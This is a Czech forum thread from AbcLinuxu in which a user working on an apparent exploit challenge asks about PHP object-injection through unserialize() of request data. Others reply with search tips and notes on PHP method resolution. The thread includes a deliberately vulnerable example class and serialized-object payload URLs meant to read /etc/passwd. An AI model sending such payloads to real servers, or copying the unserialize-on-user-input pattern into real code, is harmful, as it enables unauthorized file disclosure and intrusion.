Portál AbcLinuxu, 8. května 2025 13:21

Dotaz: PHP: hledám obecně známý objekt, který má metodu toString()

24.12.2016 18:01 skirptkido
PHP: hledám obecně známý objekt, který má metodu toString()
Přečteno: 391×
Odpovědět | Admin
Dobrý den,

Mám takový netradiční dotaz pro zkušené PHPčkaře. Hledám nějaký relativně obecně známý / používaný / populární objekt v PHP, který obsahuje metodu toString() - pozor nikoliv __toString(). Neznáte nějaký takový objekt? Může to být součást nějakého oblíbeného frameworku nebo nějaké knihovny, který se v PHP světě používá..

Abych uvedl důvod proč to hledám - řeším jednu takovou exploit challenge, kde ten kód vypadá takto:
$rce = unserialize($_REQUEST['blah']);
echo $rce->toString();
Akorát, že já nevím jméno toho objektu, kterému mám tou deserializací změnit nějaké ty properties.. Nenapadá vás něco co by to mohlo být?

Díky!
Nástroje: Začni sledovat (0) ?Zašle upozornění na váš email při vložení nového komentáře.

Odpovědi

25.12.2016 23:20 Odin1918 | skóre: 6 | blog: Valhalla
Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
Odpovědět | | Sbalit | Link | Blokovat | Admin
github, git clone a rekurzivni grep jsou tvoji pratele
26.12.2016 18:08 Sten
Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
Odpovědět | | Sbalit | Link | Blokovat | Admin
Předefinuj property toString, to volání spadne a vypíše, jak se ta třída jmenuje ;-)
27.12.2016 01:01 skirptkido
Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
To je zajímavý nápad, ale nejsem si jistý jak to provést / jestli je to možné řešení.

Předpokládejme následující kód na serveru:
class nevim {
  public $filename = 'xyz';

  public function toString() {
    echo file_get_contents($this->filename);
  }
}

$rce = unserialize($_GET['blah']);
echo $rce->toString();
Kdybych věděl jméno té třídy, tak můžu poslat request třeba:
http://url/skript.php?blah=O:5:"nevim":1:{s:8:"filename";s:11:"/etc/passwd";}
A vypsat si tím soubor /etc/passwd, ale když neznám jméno té třídy, tak se mi zdá, že jsem bez šance cokoliv zkoušet, nebo ne?

I přesto to ale zkouším všeljak, nicméně ikdyž zkusím změnit property toString, tak mi to nepomůže - nevypíše to nic extra, dokonce to funguje jakoby se nechumelilo:
http://url/skript.php?blah=O:5:"nevim":2:{s:8:"filename";s:11:"/etc/passwd";s:8:"toString";s:6:"blabla";}
Funguje no problem na mým testovacím serveru.

Tak nevím..
27.12.2016 02:35 Sten
Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
Hmm, tak PHP má tak zprasený návrh tříd, že to nejde. $t->toString vytáhne tu hodnotu, ale $t->toString() zavolá takto pojmenovanou metodu z prototypu třídy (i když existuje takto pojmenovaná hodnota), zatímco pokud taková metoda není definována, pokusí se zavolat $t->toString->__invoke(), tj. metodu třídy té hodnoty.
27.12.2016 03:14 Kit | skóre: 45 | Brno
Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
Na tom nevidím nic zpraseného. Na podobné problémy jsem nikdy nenarazil. Když budeš dodržovat konvence pro názvy objektů a metod, tak se ti to stát ani nemůže.
Komentáře označují místa, kde programátor udělal chybu nebo něco nedodělal.

Založit nové vláknoNahoru

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.